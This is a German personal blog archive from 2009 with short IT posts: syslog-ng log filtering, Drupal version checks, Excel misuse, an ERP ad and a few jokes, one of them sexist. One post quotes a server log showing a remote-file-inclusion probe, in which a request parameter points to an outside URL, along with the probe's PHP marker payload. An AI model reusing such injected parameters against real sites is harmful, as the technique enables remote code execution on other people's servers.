Archiv ‘IT’

Sonntag, 3. Mai 2009

Jetzt kommt auch noch die SAP-Abwrackprämie

Gemäss einem Inserat in der heutigen SonntagsZeitung übernimmt ein findiges Unternehmen

Speziell in wirtschaftlich schwierigen Zeiten ist ein stabiles, homogenes und zukunftsorientiertes ERP-System zu erschwinglichem Preis unverzichtbar. Denn nur dieses sichert Ihnen komplett durchgängige, effiziente und transparente Geschäftsprozesse.

Quelle: .: resource-Abwrackaktion: 50’000 für Ihr altes ERP-System :.

Abgesehen davon, dass das Inserat wohl vom Sohn des CEOs „designt“ wurde (ich zähle vier Schriftschnitte und ebensoviele Schriftfarben), weiss ich nicht, ob obige Aussage wirklich so wunderbar auf SAP zutrifft? Der Kostenerlass von 50’000CHF kann aus dieser Sicht eher als vorgezogenes Schmerzensgeld gezählt werden …

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Montag, 27. April 2009

Welche Drupal-Version läuft auf meinem Server?

If CHANGELOG.txt is missing, you can also check in system.module for a line at the top like:

define('VERSION', '5.5');

If this is present, it will tell you which version you are running. If not, you have a version earlier than 4.7.2.

Quelle: Drupal version numbering | drupal.org

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Montag, 6. April 2009

Abstruse Verwendung von Microsoft Excel

Bisher habe ich alle Termine in einen selbstgeschriebenen Programm (Excel/VisualBasic) verwaltet.

Quelle: Thunderbird Mail DE • Thema anzeigen – Termine aus Excel importieren

Wieder einen Eintrag mehr in meiner Liste der „schlimmsten Excel-Vergewaltigungen“. Oh Microsoft, mit VisualBasic hast du unbedarften Excel-Benutzern eine Massenvernichtungswaffe in die Hände gedrückt …

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Montag, 6. April 2009

syslog von Ballast befreien

Die /var/log/syslog füllt sich unter Debian Linux sehr schnell mit viel nichtssagendem Ballast, weshalb ich mich heute dazu entschied, mal ein wenig aufzuräumen. Die Meldungen von cron (läuft bei mir jede Minute mit irgendwelchen Befehlen), dhcpd (im Netzwerk gibt es ein Gerät, dass jede Sekunde einen DHCP-Request sendet) sowie snmpd (cacti frägt den Systemzustand in jeder Minute ab) sollten neu aus der /var/log/syslog in eigene Log-Dateien ausgelagert werden.

Folgende Anpassungen an /etc/syslog-ng/syslog-ng.conf taten den Trick.

Als erstes legt man neue Destinationen fest:

destination df_cron { file("/var/log/cron.log"); };
destination df_dhcpd { file("/var/log/dhcpd.log"); };
destination df_snmpd { file("/var/log/snmpd.log"); };

Anschliessend legt man vier neue Filter fest:

filter f_cron { facility(cron); };
filter f_dhcpd { program(dhcpd); };
filter f_snmpd { program(snmpd); };
filter f_noise { not filter(f_snmpd) and not filter(f_dhcpd) and not filter(f_cron); };

Schlussendlich baut man diese als Log-Anweisungen zusammen:

log {
        source(s_all);
        filter(f_syslog);
        filter(f_noise);
        destination(df_syslog);
};

log {
        source(s_all);
        filter(f_cron);
        destination(df_cron);
};

log {
        source(s_all);
        filter(f_dhcpd);
        destination(df_dhcpd);
};

log {
        source(s_all);
        filter(f_snmpd);
        destination(df_snmpd);
};

Nachdem man die Konfigurationsdatei gespeichert hat, startet man syslog-ng neu und erfreut sich über die Ruhe, die nun einkehrt:

# /etc/init.d/syslog-ng restart
$ tail -f /var/log/syslog

Nachtrag

Natürlich wollte ich mir noch ein Bild machen, wie die Situation vor diesen neuen Umleitungen aussah. Erschreckend:

# cat syslog | cut -d " " -f 6 | sort | cut -d "[" -f 1 | sort | uniq -c | sort -r -n
   2534 dhcpd:
   2215 /USR/SBIN/CRON
   1688 snmpd
    392 kernel:
     98 mt-daapd
     55 syslog-ng
     40 postfix/qmgr
     36 avahi-daemon
     31 smartd
     26 ovpn-server
     23 named
     21 postfix/smtp
     19 postfix/cleanup
     18 postfix/pickup
      9 mysqld
      8 apcupsd
      6 ntpdate
      6 /etc/mysql/debian-start
      4 /usr/sbin/cron
      4 postfix/tlsmgr
      3 arpwatch:
      2 postfix/master
      2 mysqld_safe
      1 shutdown
      1 postfix/local
      1 mdadm
      1 init:

Mein Gefühl hat sich bestätigt: Ich habe die richtigen „Übeltäter“ in eigene Dateien ausgelagert.

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Sonntag, 5. April 2009

Hard- und Software für Männer erklärt

Was heisst Software (SW) und Hardware (HW)?

Nehmen wir ein anschauliches Beispiel, die Bundeshaustelefonistin Pia beim Betreten des Marzili. Alles was wir von ihr sehen und anfassen können, aber auch ihr Magen, Herz usw. ist HW. Die Steuerung der Muskeln, die Pia beim Gehen benötigt, das Erkennen ihrer Umgebung und das Kommando zum Zuwinken ist SW. Es wird durch programmierte Abläufe von Pias Hirn aus gesteuert.

Deshalb sind auch viele weibliche Reaktionen (durch unerforschte SW Abläufe ausgelöst) für den oft nur die HW von Pia Erkennenden unerklärlich.

Quelle: Schweizerischer Weg zur digitalen Kommunikation

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Donnerstag, 2. April 2009

Übt sich Hajo Bakker als Script-Kiddie?

In meinen Server-Logs fand ich heute folgendes:

[01-Apr-2009 22:25:02] Unexpected array Array
(
    [DOCUMENT_ROOT] => http://www.hajobakker.com/portfolio/id1v4.txt??
)
 given in function page__get_query_string

Die Text-Datei auf seinem Server beinhaltete folgende PHP-Anweisungen:

<?php /* Fx29ID */ echo("FeeL"."CoMz"); die("FeeL"."CoMz"); /* Fx29ID */ ?>

Wieso macht man sowas von seinem eigenen Server aus (notabene mit einem Domainnamen, der den Vor- und Nachnamen des „Hackers“ enthält), wenn man angeblich seit 1991 in der IT arbeitet?!

Since 1991 I’ve held a variety of ICT related positions

Quelle: HajoBakker.com small-boat photography, motorcycle technique and more.

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Mittwoch, 1. April 2009

parlament.ch läuft mit Microsoft-Müll

die flex-applikation mit diversen flash-basierten komponenten liess sich problemlos in die site parlament.ch integrieren. in diesem fall handelte es sich um eine sharepoint-basierte website,

Quelle: nothing blog from outer space : Neue Sitzordnung im National- und Ständerat

Es wurde ja bereits seit längerem von den Dächern gezwitschert, dass dieser Server unter handgefrickelter, äusserst performanter Software aus Redmond lief. Eh ja, logisch! Schliesslich mussten dutzende zwischengeschaltete Consultants ihre 200 Franken pro Stunde absahnen …

Ansonsten fände ich den „Pultlinachbar“-Browser von nothing durchaus angebracht – leider wird aber sowohl unter Nationalrat wie auch unter Ständerat nur das Get Flash-Icon angezeigt.

Mega-Fail! (Mac OS X 10.4.11, Safari 3.2, Shockwave Flash 9.0 r124)

Nachtrag: Mich stört übrigens das auf den Screenshots ersichtliche Checkbox-Label „Alle/Keine Fraktion/en“. Aus Usability-Sicht sollte hätte dieser Knopf (meiner Meinung nach) auf zwei Radio-Buttons aufgeteilt werden müssen: „Alle Fraktionen“ und „Keine Fraktionen“ …

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Montag, 30. März 2009

Kostenloses WeatherCal (Wetterprognosen für den Kalender) für die Schweiz

Was BareBonesSoftware kann, kann ich schon lange!“ Gesagt, getan. Der Sinn und Unsinn von Wetterprognosen in der Kalendersoftware auf dem Computer und dem Smartphone sei dahingestellt.

Wer es mit Apples iCal, Microsofts Outlook oder Google Calendar ausprobieren möchte, abonniert einen oder mehrere der folgenden Links, die (hoffentlich) standardkonforme .ics-Daten liefern:

Einige weitere Städte sind auch verfügbar. Man abonniere diese à la http://weather2ics.mad4you.homeip.net/stadt/. Es sind keine Sonderzeichen erlaubt.

Wie immer gilt: BETA! Kein Gewähr auf ordnungsgemässes funktionieren und 100-prozentige Verfügbarkeit des Servers.

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Dienstag, 24. März 2009

Twitter ein Must-Have

if Jesus Christ were alive today, he’d have a Twitter account and would be complaining about Judas in 140 characters or less.

Quelle: The Accidental Businessman: Important lessons nobody is going to learn from Twitter

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Dienstag, 24. März 2009

Die VBZ wissen eindeutig zuviel

Die VBZ wissen ständig, auf welcher Linie gerade wie viele Schwarzfahrer unterwegs sind.

Quelle: Warum die VBZ wissen, wo die Schwarzfahrer sind – News Zürich: Stadt Zürich – tagesanzeiger.ch

„Wissen“ tun die das garantiert nicht – höchstens die statistische Wahrscheinlichkeit ist hoch, auch die tatsächlich vermutete Zahl an Schwarzfahrern auf Grund von Berechnungen zu erwischen. Wir dürfen aber nicht vergessen, dass auch die lieben Banker-Freunde (Physiker, Mathematiker, teilweise sogar Nobel-Preisträger) vor noch nicht allzulanger Zeit das Gefühl hatten, sie wüssten alles, was man nur irgendwie berechnen könnte. Insbesondere was Finanzrisiken betrifft …

Nichtdestotrotz: Als GA-Besitzer (meines wurde gerade erneuert, u.a. auch dank der Liip-Grati fürs 2008 – Merci Jungs & Mädels!) habe ich nichts zu befürchten. Und ich finde es selbstverständlich sinnvoll, dass die VBZ die Nadel nicht im Heuhaufen suchen, sondern die Computer Voraussagen treffen lassen.

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